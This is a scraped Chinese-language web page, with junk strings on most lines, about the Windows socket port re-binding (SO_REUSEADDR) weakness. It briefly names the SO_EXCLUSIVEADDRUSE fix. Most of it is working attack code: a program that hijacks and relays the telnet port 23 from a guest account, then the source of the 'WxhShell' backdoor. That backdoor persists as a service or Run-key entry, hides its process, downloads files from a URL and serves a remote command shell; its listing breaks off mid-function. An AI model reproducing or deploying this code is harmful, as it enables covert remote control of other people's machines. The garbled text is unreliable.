在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!cb#fl s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
m3!M L>nLt GU3/s&9 saddr.sin_family = AF_INET;
bY~ v0kg F29AjW86 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
1%"`
=$q% _zh5KP[{ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
lc-|Q#$3$ X t =bc 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
_|ib@Xbin QNXxpoS# 这意味着什么?意味着可以进行如下的攻击:
a1SOC=.M; BUinzW z{a 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
mj=|oIMwT 'cN#rHPB6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
)F9r?5}v4x %,et$1`g 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3+3m`%G Y}uQ`f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
4P!DrOB fR4l4 GU?) 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
M7R&J'SAY 7[BL 1HI* 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
|nN/x<v io7U[ # 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
C-u/{CP kA!(}wRL #include
h(Ed% #include
5iddB $ #include
V1)P=?%(US #include
lmKq xs4 DWORD WINAPI ClientThread(LPVOID lpParam);
I&8SP$S>J int main()
O/9%"m:i {
WG
!t!1p WORD wVersionRequested;
rs Uw(K^ DWORD ret;
@z)tC@ WSADATA wsaData;
""3m!qn# BOOL val;
^YJA\d@ SOCKADDR_IN saddr;
PbUcbb17 SOCKADDR_IN scaddr;
:ZS8Zm" int err;
+esNwz_ SOCKET s;
6^O?p2xpo SOCKET sc;
M#]|$\v( int caddsize;
t *
vg]Yc HANDLE mt;
Nu/Qa:H_{ DWORD tid;
|8 2tw|<o wVersionRequested = MAKEWORD( 2, 2 );
>B /&V|E err = WSAStartup( wVersionRequested, &wsaData );
jne9=Als5 if ( err != 0 ) {
t!~YO'<dS printf("error!WSAStartup failed!\n");
|4.o$*0Y return -1;
gkML .u }
](>7h_2B saddr.sin_family = AF_INET;
Xm:=jQn eH%L?"J~: //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
?lDcaI>+n BrH;(*H)8 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
I.+)sB?5 saddr.sin_port = htons(23);
cJ##K/es if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
k>&s(b {
P!+nZXo printf("error!socket failed!\n");
\1mM5r~ return -1;
~Oq,[,W }
R``VQ val = TRUE;
9LO.8Jy //SO_REUSEADDR选项就是可以实现端口重绑定的
}
ndvV~*1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Cxk$"_ {
_Sgk^i3v printf("error!setsockopt failed!\n");
cbCE
$ return -1;
NQ!N"C3u }
E`uaE=Mdq //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Kwl qi]~ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
@y0bU*v7 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
E[3FdX8 B_"OA3d_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
qIGu#zX W {
&O6;nJEI ret=GetLastError();
m/hi~.D9 printf("error!bind failed!\n");
y|;8 :b32 return -1;
?FV7|)f }
%rDmW?T listen(s,2);
'+!S|U,{ while(1)
O/Mz?$8J {
lii]4k+z caddsize = sizeof(scaddr);
x1:Pj //接受连接请求
))IgB).3M sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
7t-*L}~WA if(sc!=INVALID_SOCKET)
_Hd1sx {
<a+eF}*2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
sO6g IPU^ if(mt==NULL)
-[=AlqL {
AZy~Q9Kc printf("Thread Creat Failed!\n");
&AQ;ze break;
9IvcKzS2 }
RZd4(7H=q }
l0caP( CloseHandle(mt);
sh
!~T<yy }
W?^8/1U closesocket(s);
X(!AI|6Bt WSACleanup();
VX!Y`y^a return 0;
2JA&{ch }
%<wQ DWORD WINAPI ClientThread(LPVOID lpParam)
u3M`'YCb {
y4/>Ol] SOCKET ss = (SOCKET)lpParam;
^3WIl] SOCKET sc;
%on9C`/ unsigned char buf[4096];
9xK4!~5V SOCKADDR_IN saddr;
lbKv long num;
Tw`c6^%^y DWORD val;
iM/*&O} DWORD ret;
oDW<e'Jm //如果是隐藏端口应用的话,可以在此处加一些判断
I(^jOgYU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
T6R7,Vt'v saddr.sin_family = AF_INET;
I|F~HUzA" saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Jcalf{W6 saddr.sin_port = htons(23);
J-, H6u if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
MdVCD^B {
m]0^ printf("error!socket failed!\n");
!bZhj3. return -1;
r*i$+ Z }
S2'`|uI val = 100;
vJTfo#C| if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
c#{Ywh {
R0Ax$Cv{ ret = GetLastError();
^A *]&%(h return -1;
(:.Q\!aZ1 }
23}BW_m if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}\`(m\2xo {
POqRHuFq ret = GetLastError();
u=@h`5-fp return -1;
j8[`~pb }
'R4>CZ%jV if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
1Lm].tq {
P"R97#C printf("error!socket connect failed!\n");
_.d}lK3$2 closesocket(sc);
\3H<z@; closesocket(ss);
(30<oE{ return -1;
sR"zRn }
%aj7-K6:t while(1)
=2RhPD {
f?=r3/AO //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
M^j<J0(O //如果是嗅探内容的话,可以再此处进行内容分析和记录
/S7+B] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)(h&Q?
Ar num = recv(ss,buf,4096,0);
, @%C8Z if(num>0)
QL)>/%yU send(sc,buf,num,0);
-1jjB1 else if(num==0)
IF&g.R break;
-yX.Jv num = recv(sc,buf,4096,0);
~In{lQ[QX if(num>0)
js:C
mnI send(ss,buf,num,0);
7P**:b else if(num==0)
D"l+iVbBP break;
,+1m`9} }
X.#oEmA,P closesocket(ss);
;L"!I3dM) closesocket(sc);
|:[9O`U)s return 0 ;
&m'kI }
zG9|K ?IhB-fd>@ @,OT/egF4: ==========================================================
$g\&5sstE ]z == 下边附上一个代码,,WXhSHELL
]r/^9XaqtA d7Ro}>lp ==========================================================
Xu} U{x> GjT#%GBF #include "stdafx.h"
GDhM<bVqM* elO<a]hX #include <stdio.h>
W>-B [5O&[ #include <string.h>
WxUxc75 #include <windows.h>
%dttE)oH? #include <winsock2.h>
cxyM\@QB3 #include <winsvc.h>
FxW&8 9G #include <urlmon.h>
{qpi?oY ZxHJ<2oD #pragma comment (lib, "Ws2_32.lib")
w#y2_ #pragma comment (lib, "urlmon.lib")
(Tvcq SNY (* #define MAX_USER 100 // 最大客户端连接数
$dg9z}D #define BUF_SOCK 200 // sock buffer
l54
m22pfv #define KEY_BUFF 255 // 输入 buffer
vNDu9ovs- 6NLW(?]
#define REBOOT 0 // 重启
M {a
# #define SHUTDOWN 1 // 关机
Le#spvV3J| 1|| nR4yK #define DEF_PORT 5000 // 监听端口
vF={9G "8<K'zeS8 #define REG_LEN 16 // 注册表键长度
1=)r@X/6d #define SVC_LEN 80 // NT服务名长度
UT]?;o" -4 Ux,9& // 从dll定义API
"Ij I'c typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
AHbZQulC typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
mOBACTY^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
TkRP3_b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
lxb zHlX I9
64 // wxhshell配置信息
|D#2GeBw1h struct WSCFG {
@F5f"8!.\ int ws_port; // 监听端口
<nHkg<O6Y char ws_passstr[REG_LEN]; // 口令
w4};q%OBj int ws_autoins; // 安装标记, 1=yes 0=no
1,t)3;o$ char ws_regname[REG_LEN]; // 注册表键名
_M5%V>HO char ws_svcname[REG_LEN]; // 服务名
R= 5** char ws_svcdisp[SVC_LEN]; // 服务显示名
-j2 (R?a char ws_svcdesc[SVC_LEN]; // 服务描述信息
-K%5(Eg char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2Aq~D@,9=: int ws_downexe; // 下载执行标记, 1=yes 0=no
1y"3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^Z,q$Gp~P char ws_filenam[SVC_LEN]; // 下载后保存的文件名
l*
dV\ B ZCui Fm };
`C72sA{M. vfc[p ^ // default Wxhshell configuration
@w9{5D4 struct WSCFG wscfg={DEF_PORT,
FQsUm?ac: "xuhuanlingzhe",
vzo4g,Bj 1,
&Z^(y}jPr "Wxhshell",
|Ul,6K@f"5 "Wxhshell",
zc+@lJy "WxhShell Service",
J%rP$O$ "Wrsky Windows CmdShell Service",
XEH}4;C'{ "Please Input Your Password: ",
rNN
j0zw> 1,
PGn);Baq "
http://www.wrsky.com/wxhshell.exe",
PS>x,T "Wxhshell.exe"
]`o!1( GA };
Ud%s^A-qS =\kMXB // 消息定义模块
{3\R|tZh,` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wxQ>ifi9Z char *msg_ws_prompt="\n\r? for help\n\r#>";
/BA{O&Ro^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
al^!,ykc char *msg_ws_ext="\n\rExit.";
x_w~G]! / char *msg_ws_end="\n\rQuit.";
0BU=)Swku char *msg_ws_boot="\n\rReboot...";
ja=w5 char *msg_ws_poff="\n\rShutdown...";
:z"!kzdJ char *msg_ws_down="\n\rSave to ";
#?O& 9(_{`2R8 char *msg_ws_err="\n\rErr!";
#;VA5<M8 char *msg_ws_ok="\n\rOK!";
/YKMKtE OYL]j{ char ExeFile[MAX_PATH];
E#%}ZY int nUser = 0;
S -&)p@4 HANDLE handles[MAX_USER];
8/%6@Y"Y* int OsIsNt;
:py\| P Ru&3BP SERVICE_STATUS serviceStatus;
|CD"*[j] SERVICE_STATUS_HANDLE hServiceStatusHandle;
g}xQ6rd _k66Mkd#b // 函数声明
8F5|EpB9M int Install(void);
l$Gl'R>>* int Uninstall(void);
o+ O}Te int DownloadFile(char *sURL, SOCKET wsh);
[:;# ]? int Boot(int flag);
n%%7KTqu void HideProc(void);
?;ukvD int GetOsVer(void);
-.I4-6~ int Wxhshell(SOCKET wsl);
h) (*q+a void TalkWithClient(void *cs);
!kuX,*}q int CmdShell(SOCKET sock);
/8yn vhF# int StartFromService(void);
QrYa%D+ int StartWxhshell(LPSTR lpCmdLine);
eCbf9B p^)B0[P9 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Z9`TwS@x[ VOID WINAPI NTServiceHandler( DWORD fdwControl );
~W0(1#
i ~eh0[mF^] // 数据结构和表定义
0DPxW8Y -` SERVICE_TABLE_ENTRY DispatchTable[] =
&p(0K4: {
wVl+]zB {wscfg.ws_svcname, NTServiceMain},
GC@+V|u {NULL, NULL}
=6 r:A<F!n };
.giz=*q+ @I3eK^#|P // 自我安装
*#U+qgA;` int Install(void)
_c(4o: {
f{#j6wZM char svExeFile[MAX_PATH];
Gctsp2ndW HKEY key;
|9K<-yD strcpy(svExeFile,ExeFile);
_wDS#t;!M \Q$HXK // 如果是win9x系统,修改注册表设为自启动
g(x9S'H3l if(!OsIsNt) {
Of}|ib^t if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
yx{3J
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
T)~9Wac RegCloseKey(key);
-~f511<
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]B\H~Kn RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
N!&:rK RegCloseKey(key);
_RkuBOv@e return 0;
f2I6!_C!+ }
myFAKRc }
"hz\Z0zg2 }
\Gp*x\<^Z else {
JC?N_kP%W ^]C&tG0 ! // 如果是NT以上系统,安装为系统服务
RD,5AShP SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
!c#]?b% if (schSCManager!=0)
V7Yaks {
kJ:F *34e= SC_HANDLE schService = CreateService
U/{6%
Qy (
Zi\['2CG schSCManager,
W-~n|PX8+ wscfg.ws_svcname,
U977#MXf wscfg.ws_svcdisp,
tAu4haa4; SERVICE_ALL_ACCESS,
rNOES3[~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Ard]147 SERVICE_AUTO_START,
=}!Mf' SERVICE_ERROR_NORMAL,
#uCB)n&. svExeFile,
o(kM9G| NULL,
E6B!+s!] NULL,
9O.Y OiW NULL,
uGN^!NG-0 NULL,
XM1`x NULL
qO1tj'U< );
\00DqL(Oj` if (schService!=0)
vxQ8t!-u {
~p0c3* CloseServiceHandle(schService);
una%[jTc CloseServiceHandle(schSCManager);
nKr9#JebRC strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Fm_y&7._ strcat(svExeFile,wscfg.ws_svcname);
FCj{AD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
&;TJ~r#K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
u6u=2 RegCloseKey(key);
F^$led1/F return 0;
MxQ?Sb%Gka }
[4&#*@ }
eW'2AT?2H% CloseServiceHandle(schSCManager);
B?rSjdY4 }
bizTd }
![6EUMx q=Zr>I;(Ks return 1;
mog[pu:!, }
2S3lsp5! \!50UVzm) // 自我卸载
EpJ4`{4 int Uninstall(void)
Z#l%r0(o {
T\s)le HKEY key;
zLw{ {| lq:}0 <k if(!OsIsNt) {
Z(>'0]G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
#:x4DvDkR RegDeleteValue(key,wscfg.ws_regname);
2aA`f7 RegCloseKey(key);
Uggw -sRU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~tFqb<n RegDeleteValue(key,wscfg.ws_regname);
qm*}U3K RegCloseKey(key);
=QJRMF return 0;
DaH Z{T8>d }
Pl=] Srw }
o KD/rI }
j9+I0>#X else {
4M&`$Wim qGmNz}4D5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
X .F^$ if (schSCManager!=0)
%#L]]-% {
2?C`4AR[2H SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
3VnQnd E if (schService!=0)
|%a4`w {
,6^znOt if(DeleteService(schService)!=0) {
H1"q CloseServiceHandle(schService);
w@\vHH.;V CloseServiceHandle(schSCManager);
(UCK;k return 0;
Qcjc, }
x3ERCqTR CloseServiceHandle(schService);
5l-mW0,MK }
8N%Bn& CloseServiceHandle(schSCManager);
_/* U2.xS }
^>y@4q B }
2 !"
XzdD V==z" return 1;
jDM
w2#< }
spofLu. ;{[>&4 // 从指定url下载文件
~9\WFF/ int DownloadFile(char *sURL, SOCKET wsh)
\qvaE+ {
u}bf-;R HRESULT hr;
g$:Xuw1 char seps[]= "/";
5m:i6,4 char *token;
H=g.34 char *file;
L%}zVCg char myURL[MAX_PATH];
; |/leu8 char myFILE[MAX_PATH];
"P@>M) -9Z XNMa0 strcpy(myURL,sURL);
l%z< (L5 token=strtok(myURL,seps);
*Oc.9 F88" while(token!=NULL)
Awv`) "RAR {
XMB[h file=token;
;;$# )b token=strtok(NULL,seps);
C${S^v }
ajRSMcKb7i PfS:AIy GetCurrentDirectory(MAX_PATH,myFILE);
2jsw"aHW strcat(myFILE, "\\");
9z;HsU v strcat(myFILE, file);
)? M9|u send(wsh,myFILE,strlen(myFILE),0);
U'UQ|%5f send(wsh,"...",3,0);
Ch()P.n? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
t%zpNd2lk if(hr==S_OK)
,h\s F#| return 0;
0n ~ Zz else
K-<^$VWh return 1;
]9=h%5Ji> H`8``#-|@S }
qa(>wR"mT ,6!rR,0 // 系统电源模块
plu$h-$d int Boot(int flag)
*rZ^^`4R {
J?JeU/:+ HANDLE hToken;
q{2I_[p TOKEN_PRIVILEGES tkp;
}ZSQ>8a ffXyc2o if(OsIsNt) {
}u+a<:pkK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
6<,dRn LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
m]_FQWfet tkp.PrivilegeCount = 1;
qQi.?<d2"s tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
thO ~=RB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Ko&hj XHx if(flag==REBOOT) {
!}\4utHY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
/<CSVJ_r return 0;
@\oz4^ }
v]%WH~> else {
*?+V65~dW if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
xCzebG[" return 0;
_ 7PMmW@ }
>StO.Q99 }
fW`&'! else {
kY,U8a3! if(flag==REBOOT) {
1C Pjil*eb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
Iq+>qX return 0;
MC0TaP }
#zrTY9m7 else {
e}@)z3Q<l if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
`6y{.$ z return 0;
P X;Ed*y }
;n=. {[, }
~'5 Uw-p758dD return 1;
hqk}akXt }
h=kQ$`j6 1iL'V-y // win9x进程隐藏模块
0w'j+ void HideProc(void)
Et"?8\"n7 {
zJM S=r 58%'UwKn HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
?6c-7QV if ( hKernel != NULL )
j7FN\
cz {
]Ni$.@Hu$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Hv]7e| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
E@a3~a FreeLibrary(hKernel);
P3
c\S[F }
Nf3.\eR C 8#@+ Q. return;
wOQ#N++C }
<?D[9Mk$ IfO;S*Qt // 获取操作系统版本
*F>v]8 int GetOsVer(void)
vN4Qdpdb {
= 5D nR OSVERSIONINFO winfo;
1tCQpf winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
H7+Xs% GetVersionEx(&winfo);
E^_wI> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{Z; jhR, return 1;
x#~ x;) else
Sz{O2lY return 0;
41#w|L
\ }
%or,{mmiM: D3Jr3
%> // 客户端句柄模块
t3Z_Dp~\ int Wxhshell(SOCKET wsl)
uUE9g {
UV}73Sp SOCKET wsh;
|o'Q62`%} struct sockaddr_in client;
KPSh#x&I DWORD myID;
oHM
] *O:r7_ Y0 while(nUser<MAX_USER)
:ztr) {
ERUt'1F?] int nSize=sizeof(client);
kE.x+2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
I O%6 O if(wsh==INVALID_SOCKET) return 1;
dAP|:&y@ #8{F9w<Rf handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
!>x|7
if(handles[nUser]==0)
lX:|iB closesocket(wsh);
oMcK`%ydm else
X.ONa_ nUser++;
2c<&eX8" }
$=sXAK9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
M-NV_W&M <1w/hy&mWN return 0;
C0.'_ }
eZ a:o1y
qLncn}oNM // 关闭 socket
[LT^sb void CloseIt(SOCKET wsh)
IM=bK U {
0Q1FL MLV closesocket(wsh);
|{g+Y nUser--;
STfyCtS ExitThread(0);
[~W`E1, }
|VOg\[f D+ V7hpH- // 客户端请求句柄
Mv|ykJoz" void TalkWithClient(void *cs)
})vOaYT|- {
!.7udYmB |(
(zTf SOCKET wsh=(SOCKET)cs;
[#" =yzR<3 char pwd[SVC_LEN];
*y`%]Hy< char cmd[KEY_BUFF];
j^`X~gE char chr[1];
F}J-gZl int i,j;
/9Q3iV$I] `\=Gp'&Q+ while (nUser < MAX_USER) {
NIZ<0I*5 QH4wUU3X if(wscfg.ws_passstr) {
a\kb^D=T if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
w&Dv8Wv+Oq //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
?&WYjTU]H //ZeroMemory(pwd,KEY_BUFF);
C2]Kc{4 i=0;
B;Nl~Y| \ while(i<SVC_LEN) {
^Yr0@pE aRj>iQaddx // 设置超时
50jOA#l[ fd_set FdRead;
ArLvz5WV struct timeval TimeOut;
sKLX [l FD_ZERO(&FdRead);
#gQF' FD_SET(wsh,&FdRead);
+]>+a<x*% TimeOut.tv_sec=8;
39e; TimeOut.tv_usec=0;
,p{`pma int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.F&9.#> if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
5OM?3M G@!z$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
MgnM,95 pwd
=chr[0]; 2.}R
if(chr[0]==0xd || chr[0]==0xa) { sK$wN4k
pwd=0; CR4rDh8z a
break; ?tf&pgo
} VvByHcLv
i++; ;y?);!g
} ;N+$2w
\a"Ct'
// 如果是非法用户,关闭 socket 1,2EhfX|s
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [{[N( g&d
} k0?ZYeHC
Ue5O9;y]u
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UIJx*
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x9>\(-uU
'6Qy /R
while(1) { qg z*'_S
NCeaL-y7
ZeroMemory(cmd,KEY_BUFF); {!ZyCi19
^jdL@#k00
// 自动支持客户端 telnet标准 |wxGpBau
j=0; ~KjJ\b)R
while(j<KEY_BUFF) { ;:&?=d
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VBoMT:#
cmd[j]=chr[0]; WiNT;v[
if(chr[0]==0xa || chr[0]==0xd) { PL0`d`TI
cmd[j]=0; ~%w~-O2
break; TmRxKrRs
} R U"/2i
j++; L/}iy}
} Df07y<>7Q
1N`vCt]w
// 下载文件 @`u?bnx]e
if(strstr(cmd,"http://")) { *a}(6Cx
send(wsh,msg_ws_down,strlen(msg_ws_down),0); =Je>`{J
if(DownloadFile(cmd,wsh)) ~yJ4qp-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %:6?Y%`*[
else AH7L.L+$M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .;/L2Jv
} S^RUw
else { r2*<\ax
)9"oL!2h
switch(cmd[0]) { `ue[q!Qq
~d>%,?zz
// 帮助 _fTwmnA
case '?': { ";3*?/uM
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `hh9"Ws%
break; XaI;2fMGI
} tgFJZA
// 安装 ?v]-^X=&
case 'i': { rp!
LP#*
if(Install()) O0~vf[i];
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Vl!|\x5
else O>r-]0DI[
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c|p,/L09L
break; Aw^yH+ae
} Rz <OF^Iy
// 卸载 +}7fg82)
case 'r': { y+mElG$F
if(Uninstall()) To"dG&h
send(wsh,msg_ws_err,strlen(msg_ws_err),0); D=?{8 'R'
else oT+(W,G
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }F1s
tDx
break; PB'0?b}fab
} J07O:cjyu
// 显示 wxhshell 所在路径 mL L$|
case 'p': { sLh0&R7
char svExeFile[MAX_PATH]; Iq'O
strcpy(svExeFile,"\n\r"); ,4F,:w
strcat(svExeFile,ExeFile); 9V!-ZG
send(wsh,svExeFile,strlen(svExeFile),0); `_AM` >_
break; 0LVE@qEL
} #Fd W/y5
// 重启 DQ!J!ltQ
case 'b': { -/{af
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <HoAj"xf
if(Boot(REBOOT)) q|#MB7e/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mMw;0/n
else { v#w _eqg
closesocket(wsh); S)\8|ym6!
ExitThread(0); kl7A^0Qrz
} M=!i>(yG
break; T{MC-j _T9
} 4I~i)EKy6
// 关机 M]_E
case 'd': { D5]{2z}k
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T-L5zu
if(Boot(SHUTDOWN)) d+2daKi
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m@qqVRn#)
else { f@z*3I;
closesocket(wsh); -zfoRU v
ExitThread(0); CmC0k-%w
} >q( 5ir
break; %]4-{%v
} us{nyil1
// 获取shell hY8#b)l~lu
case 's': { WYIw5jzC
CmdShell(wsh); F|eu<^"$ H
closesocket(wsh); pG yRX_;
ExitThread(0); +$pJ5+v
break; Q7Ij4
} c?6d2jH.
// 退出 Q_P5MLU>
case 'x': { L7q | ^`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }5gr5g\OtP
CloseIt(wsh); _vrWj<wyf
break; -CBD|fo[h
} !oMt_k X
// 离开 uEd,rEB>
case 'q': { MV936
send(wsh,msg_ws_end,strlen(msg_ws_end),0); I-:`cON=G
closesocket(wsh); y4F^|kS) [
WSACleanup(); gg]~2f
exit(1); -J$g(sikt
break; 7kz-V.
} 960qvz!
} ?SX_gYe9
} 1r4,XSk
981!2*
// 提示信息 EF;,Gjh5p
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jp]T9W\
} 1D1b"o
} N/{?7sG&
-<oZ)OfU
return; 7:o+iP4 6
} _Y-$}KwY!
rx:lKoOnB
// shell模块句柄 -9G]x{>
int CmdShell(SOCKET sock) &5q{viI
{ 0|C[-ppr
STARTUPINFO si; 7%CIt?Z%
ZeroMemory(&si,sizeof(si)); `"Dy%&U
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gMZ&,n4
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;
5-'vB
PROCESS_INFORMATION ProcessInfo; .cR*P<3O
char cmdline[]="cmd"; 60PYCqWc
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); BX$hAQ(6Q
return 0; `Cj,HI_/*
} ryEvmWYu
t<lyg0f
// 自身启动模式 5Rs?CVVb
int StartFromService(void) 7Po/_%
{ s/S+ ec3
typedef struct L?f qcW{
{ 1URsHV!xcM
DWORD ExitStatus; bOXh|u_3i
DWORD PebBaseAddress; ZjD2u8e
